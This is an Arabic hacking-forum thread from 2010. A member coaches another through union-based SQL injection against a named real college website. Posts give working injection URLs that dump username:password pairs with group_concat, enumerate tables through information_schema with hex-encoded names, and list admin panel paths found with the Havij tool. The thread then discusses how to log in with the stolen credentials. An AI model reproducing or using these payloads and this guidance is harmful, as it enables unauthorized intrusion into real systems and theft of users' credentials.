التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام



العودة   :: vBspiders Professional Network :: > [ ::. خدماتنـــــا .:: ] > جـــ'ابات العناكــ'ب

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 07-09-2010, 12:39 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
 
الصورة الرمزية the-black
 

 

 
إحصائية العضو





the-black غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
the-black is on a distinguished road

افتراضي غير مجاب: استفساار شبااب من فضلكم الدخوول


السلام عليكم شبااب اتمنى أن ألقى عندكم حل لهذه المشاكل


المشكل الأول :
خلال الحقن و لنا نستخرج مجال الجداول يعني نكون في الأمر order by و ننتهي منو وننتقل ل union select و نضع عدد الجداول اللي لقيناها
لكن المشكل هو أنوو مو تظهر الأعمدة المصااابة .

المشكل التاني :

مثلا نجد الأعمدة المصابة لكن لما أجي أحقنها لكي أستخرج الجودل و عمود اليوزر و الباس ما يظهرو لي

ايش الحل . ؟؟

المشكل الثالث :

بعض الأحيان نصل و نأتي لنستخرج اسم اليوزر و الباص الخاص به ( قاعدة 5 )

نستعمل أمر limit للتنقل و معرفة اجم الجدول و العمود الصحيحة

لكن المشكل هنا مثلاا مثلا نجد الباص عندو جدول وحدوو و اليوزر جدول أخر

ايش الحل شبااب ؟؟؟


و السلام عليكم و رحمة الله .




Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC hsjtshhv afhhf lk tqg;l hg]o,,g

   

رد مع اقتباس
قديم 07-09-2010, 12:47 PM   رقم المشاركة : 2 (permalink)
معلومات العضو
hamza119944
.:: فريق العناكب للفايروسات ::.
 
الصورة الرمزية hamza119944
 

 

 
إحصائية العضو





hamza119944 غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
hamza119944 is on a distinguished road

افتراضي


المشكل التاني اضن انه يجب ان تقوم بالblind sql

التوقيع

]

 

   

رد مع اقتباس
قديم 07-09-2010, 02:13 PM   رقم المشاركة : 3 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


وعليكم السلام يا اخي


المشاكل يلي بتصير بالحقن كثرت الايام الاخيره
بسبب المواقع كلها صارت تحمي حالها شويه

وحتى اقدر اساعدك

اقتباس
لكن المشكل هو أنوو مو تظهر الأعمدة المصااابة .

ضع لي امثله على المشكله الاولى او مثال واحد يكفي


المشكله الثانيه
اقتباس

المشكل التاني :

مثلا نجد الأعمدة المصابة لكن لما أجي أحقنها لكي أستخرج الجودل و عمود اليوزر و الباس ما يظهرو لي

ايش الحل . ؟

الدرس رقم 17


المشكله الاخيره

اقتباس
لكن المشكل هنا مثلاا مثلا نجد الباص عندو جدول وحدوو و اليوزر جدول أخر

ايش الحل شبااب ؟؟؟

مممم رغم اني ما فهمتا لكن وين ما تلقاه المهم النتيجه
التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 07-09-2010, 03:45 PM   رقم المشاركة : 4 (permalink)
معلومات العضو
 
الصورة الرمزية the-black
 

 

 
إحصائية العضو





the-black غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
the-black is on a distinguished road

افتراضي


النسبة للمشكل الأول و الله ما عندي موقع : لكن راح أوضح لك بالتفصيل :

مثلاا لدياا site.com/me.php?id=1 هذا فيه خطأ

احنا استخرجناا راح نستعمل order by لإستخراج الأعمدة مثلاا لدينا 11 عموود
يعني موقعنا راح يصير كده :--site.com/me.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11
( احنا عملنا كده لنعرف الأعمده اللي مصابة لكي نستغلها لنستخرج الجداول ) لكن اما أصل الى هناا فلا اتظهر لي الأعمدة المصابه
تبقى الصفحه فارغة م ا فيها الأرقام ( اللي هي الأعمدة المصابه )

و بالنسبة للمشكل الأخير :

ده مثاال و شوووفه و رد علي ( أتمنى أنك تحقنه من الصفر و راح تفهم قصدي )

http://www.mcny.edu/news/newsdetail....2+from+users--
http://www.mcny.edu/news/newsdetail....om+facultydb--


التعديل الأخير تم بواسطة the-black ; 07-09-2010 الساعة 03:47 PM.

   

رد مع اقتباس
قديم 07-09-2010, 04:43 PM   رقم المشاركة : 5 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


[[phphttp://www.mcny.edu/news/newsdetail.php?id=-309%20UNION%20SELECT%201,2,3,4,5,concat(user_name, 0x3a,password),7,8,9,10,11,12+from+users--
[/php]
لمشاهده جيمع الاعضاء باستخدام الامر group بديل الامر لميت

كود PHP:
http://www.mcny.edu/news/newsdetail.php?id=-309%20UNION%20SELECT%201,2,3,4,5,group_concat(user_name,0x3a,password),7,8,9,10,11,12+from+users-- 

بالموقع الثاني انت ليش داخل هون
[ facultydb ]
عندنا جدول لليوزر بنروح عليه
[users ]

اقتباس
http://www.mcny.edu/news/newsdetail....2+from+users--

زي ما انت شايف زبط معانا الموقع

بالنسبه للجدول
facultydb

هاي الاعمده الي بداخلو
userIDlnamefnamedeptnameextnumroomnumemail


بالنسبه للمشكله دي
اقتباس

احنا استخرجناا راح نستعمل order by لإستخراج الأعمدة مثلاا لدينا 11 عموود
يعني موقعنا راح يصير كده :--site.com/me.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11
( احنا عملنا كده لنعرف الأعمده اللي مصابة لكي نستغلها لنستخرج الجداول ) لكن اما أصل الى هناا فلا اتظهر لي الأعمدة المصابه

في موضوع عملناه بالدوره كان من عنوانو (مسابقه تعال اعمل عرض عضلات )
هيك اشي

كان المشكله بالموقع الي عملت عليه المسابقه
المشكله الي حصلت معاك الان

ابقى جيب لي موقع وانشوف مشكلته (كل موقع له مشاكله الخاصه والحلول لازم تيجي من دماغك بقى نظفو وفكر كويس وانت ابتكر حلول وخليك مستكشف بقى )
التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 07-09-2010, 05:14 PM   رقم المشاركة : 6 (permalink)
معلومات العضو
 
الصورة الرمزية the-black
 

 

 
إحصائية العضو





the-black غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
the-black is on a distinguished road

افتراضي


فولكانو شوي شوي يا غالي

انت من وين جبت user_name

لأني أنا مو لقيتهاا أنا حطيت لك الموقعين أنا لما حقنتوو طلعلي جدول الباس مختلف عن جدول اليوزر

ممكن تفسر لي

   

رد مع اقتباس
قديم 07-09-2010, 05:33 PM   رقم المشاركة : 7 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


عن ايا واحد فيهم تحكي

اذا كان قصدك الاول

انت وصلت لهون صح

http://www.mcny.edu/news/newsdetail....2+from+users--

الان نشوف كيف انت وصلت له

؟؟؟؟؟؟

رح تقلي عملت بحث عن كلمه باس

طيب وبعد عرفت عرفنت من البحث الجدول users
والعمود pass

الخطوه الثانيه نروح موقع
http://www.waraxe.us/sql-char-encoder.html

نشفر كلمه ال users اسم الجدول ونستعرض الي بداخلها من خلال الامر
group



بيطلع لنا التالي


http://www.mcny.edu/news/newsdetail....CT%201,2,3,4,5,group_concat(table_name,0x3a,column_name,0x3a,table_sch ema),7,8,9,10,11,12++from+information_schema.colum ns+where+table_name=0x7573657273



الظاهر عندك نقطه ضعف بس انا مش عارف في ايا درس (شكلك مار عن درس بدون لا تشوفه )

اتمنا ان ما زال مشكله تخبرني

بانتظارك

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 07-09-2010, 05:50 PM   رقم المشاركة : 8 (permalink)
معلومات العضو
 
الصورة الرمزية the-black
 

 

 
إحصائية العضو





the-black غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
the-black is on a distinguished road

افتراضي


راح أراجع الدروس من الأول و أشوف و برجعلك أخي

أكي ؟؟

+

و راح أعاود أحقنه من الصفر و أشووف و برد عليك

ربنا ينصرك و ما يحرمن منك

( أعتقد انك مو فكرني كنت كلمة من زمان في روم شات الوتياات )

المهم لي عودة بعم ما أشوف الدروس


التعديل الأخير تم بواسطة the-black ; 07-09-2010 الساعة 05:55 PM.

   

رد مع اقتباس
قديم 07-09-2010, 06:10 PM   رقم المشاركة : 9 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


هههه ايا شات

+ موفق

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 07-10-2010, 03:49 AM   رقم المشاركة : 10 (permalink)
معلومات العضو
 
الصورة الرمزية the-black
 

 

 
إحصائية العضو





the-black غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
the-black is on a distinguished road

افتراضي


أسف أخي فولكانو لم أرد عليك بسرعة

+
الأن راجعت الدروس من الأول حتى الدرس 10 و ان شاء الله راح انتهي غداا بإذن الله

+
لكن أخي هذا الموقع http://www.mcny.edu
عملت عليه ثاني و في جداول الباس استخرجت ثلاث جداول بأمر group
جدولين لما أشوف أجرب عليهم بيقولي غير موجودين
و الجدول اللي عمل معي هو users
المهم لما استخرجت اليوزر و الباص لأسف لم يرد أن يفتح معي في لوحة التحكم

ايش حل هذا المشكل ؟؟؟

   

رد مع اقتباس
قديم 07-10-2010, 04:01 AM   رقم المشاركة : 11 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


اقتباس
مشاهدة المشاركة المشاركة الأصلية كتبت بواسطة the-black
أسف أخي فولكانو لم أرد عليك بسرعة

+
الأن راجعت الدروس من الأول حتى الدرس 10 و ان شاء الله راح انتهي غداا بإذن الله

+
لكن أخي هذا الموقع http://www.mcny.edu
عملت عليه ثاني و في جداول الباس استخرجت ثلاث جداول بأمر group
جدولين لما أشوف أجرب عليهم بيقولي غير موجودين
و الجدول اللي عمل معي هو users
المهم لما استخرجت اليوزر و الباص لأسف لم يرد أن يفتح معي في لوحة التحكم

ايش حل هذا المشكل ؟؟؟


مسار اللوحه الي وصلت له مش بتاع اليوزر والباس الي احنا طلعناهم


طيب الحل بقى وين
اما بدك تبحث عن يوزر وباس اخرين

واما تجد اللمسار الصحيح للوحه الي استخرجا الباس تاعها
التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 07-10-2010, 01:19 PM   رقم المشاركة : 12 (permalink)
معلومات العضو
 
الصورة الرمزية the-black
 

 

 
إحصائية العضو





the-black غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
the-black is on a distinguished road

افتراضي


أنا عملت ملف و هو في المرفق

شوفه و رد علي يا كبيرنااا

و السلام عليكم

الملفات المرفقة
نوع الملف: txt sql probleeem.txt‏ (2.6 كيلوبايت, المشاهدات 5)
:: نصائح مهمه :: - أفحص الملف المرفق بأي برنامج مضاد للفيروسات
2- قم بمراسلة المراقب عن أي مرفق يوجد به فيروس
3- المنتدى غير مسوؤل عن مايحتويه المرفق من بيانات

   

رد مع اقتباس
قديم 07-10-2010, 01:50 PM   رقم المشاركة : 13 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


الجهاز ما يدعم اللغه العربيه (خاص او رد )

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 07-10-2010, 02:46 PM   رقم المشاركة : 14 (permalink)
معلومات العضو
 
الصورة الرمزية the-black
 

 

 
إحصائية العضو





the-black غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
the-black is on a distinguished road

افتراضي


أسف على الخطأ

------------------



الحقن لإسخراج جميع الأعمدة و الجداول للباس

رابط الحقن :
http://www.mcny.edu/news/newsdetail....115,%2037%29--

هذاول الجداول ....:

users:password:audrey_mcnydb
wp_posts:post_password:audrey_test
wp_users:user_pass:audrey_test

أنا راح أبدأ من أخر جدول ( wp_users )

تشفيره :
0x77705f7573657273

رابط الحقنه لليوزر

http://www.mcny.edu/news/newsdetail....5f7573657273--

تجربة لإستخرللج اليوزر :
http://www.mcny.edu/news/newsdetail....rom+wp_users--

تجربه 2 :

http://www.mcny.edu/news/newsdetail....rom+wp_users--

شوف ايش يطلع لي
Table 'audrey_mcnydb.wp_users' doesn't exist
---------------------------------

الأن راح أمر للجدول الثاني (wp_posts)

تشفيره :
0x77705f706f737473

رابط الحقنه :
http://www.mcny.edu/news/newsdetail....5f706f737473--

أعتقد أن هذا و بنسبة 99 بالمئة ما يحتوي على اليوزر

مثال على الطاير :

http://www.mcny.edu/news/newsdetail....rom+wp_posts--

-----------------------------------------

الأن أمر للجدول اللي زبط معناا ( users)

تشفيره :

0x7573657273

users:fname:audrey_mcnydb
users:lname:audrey_mcnydb
users:email:audrey_mcnydb
users:department:audrey_mcnydb
users:user_name:audrey_mcnydb
users:password:audrey_mcnydb
users:level:audrey_mcnydb
users:page:audrey_mcnydb
users:user_id:audrey_mcnydb

http://www.mcny.edu/news/newsdetail....2+from+users--



------------------------------------
هذو مسارات طلعهااا برنامج هافيج
Page Found: http://www.mcny.edu/manage/
Page Found: http://www.mcny.edu/controlpanel/
Page Found: http://www.mcny.edu/cpanel/
Page Found: http://www.mcny.edu/kpanel/
Page Found: http://www.mcny.edu/secure/

ان لم يكن هذول هم الصحااح


طب كيف أطلع مسار لوحة التحكم الصحيحة ؟؟؟


التعديل الأخير تم بواسطة the-black ; 07-10-2010 الساعة 02:49 PM.

   

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
شبااب مشكله كبيييره في الباس fox02 SQL قواعد البيانات 1 11-20-2010 06:54 AM
استفساار حلو التهكير عن طريق موقع ! System جـــ'ابات العناكــ'ب 4 11-15-2010 12:44 PM
ممكن استفساار بسيط عن الامتدادات؟ System جـــ'ابات العناكــ'ب 6 02-28-2010 06:08 AM
استفساار بصيط الي يعرف لا يبخل علي فتى حائل جـــ'ابات العناكــ'ب 2 08-14-2009 03:24 AM
شبااب ساعدوني ماذا بعد رفع الشل u4u جـــ'ابات العناكــ'ب 5 08-30-2008 02:38 AM


الساعة الآن 03:36 AM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0